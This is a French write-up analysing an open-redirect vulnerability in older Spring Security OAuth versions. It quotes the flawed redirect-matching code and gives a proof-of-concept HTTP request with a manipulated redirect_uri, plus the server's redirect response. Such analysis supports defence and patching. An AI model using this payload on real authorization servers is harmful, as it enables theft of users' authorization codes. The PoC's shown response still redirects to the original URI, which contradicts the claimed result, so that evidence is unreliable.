
Spring Security OAuth 2.3 Open Redirection Analyse et reproduction
Spring Security OAuth 2.3 Redirection Ouverte - Analyse et Reproduction
Les versions de Spring Security OAuth 2.3 antérieures à 2.3.6, 2.2 antérieures à 2.2.5, 2.1 antérieures à 2.1.5 et 2.0 antérieures à 2.0.18, ainsi que les versions plus anciennes non supportées, peuvent être sensibles à une attaque de redirection ouverte qui peut divulguer un code d'autorisation. Un utilisateur malveillant ou un attaquant peut élaborer une requête vers le point de terminaison d'autorisation en utilisant le type d'octroi de code d'autorisation, et spécifier un URI de redirection manipulé via le paramètre redirect_uri. Cela peut amener le serveur d'autorisation à rediriger l'agent utilisateur du propriétaire de la ressource vers un URI sous le contrôle de l'attaquant, avec le code d'autorisation divulgué.
#VULNÉRABILITÉ : En manipulant le paramètre REDIRECT_URI, un attaquant peut en réalité contourner la validation.
Le code à l'origine de la vulnérabilité se trouve dans le package org.springframework.security.oauth2.provider.endpoint La classe : DefaultRedirectResolver, dont la méthode obtainMatchingRedirect n'effectue pas un assainissement correct
/**
Attempt to match one of the registered URIs to the that of the requested one.
@param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty.
@param requestedRedirect the URI used as part of the request
@return the matching URI
@throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect + " does not match one of the registered values: " + redirectUris.toString()); }
#VECTEUR D'ATTAQUE POC La requête suivante effectuée par l'APPLICATION CLIENT après que l'utilisateur se soit connecté contient le paramètre REDIRECT_URI. La validation est contournée en ajoutant simplement un signe de pourcentage, ce qui déclenche une redirection au lieu de l'erreur RedirectMismatchException.
La REQUÊTE ORIGINALE contenant un URI valide : GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
L'attaquant trompe ensuite l'application en modifiant entièrement l'URI vers un autre serveur en ajoutant un signe de pourcentage, par exemple :
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
La RÉPONSE ne produit effectivement pas une erreur OAUTH attendue mais redirige l'utilisateur :
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close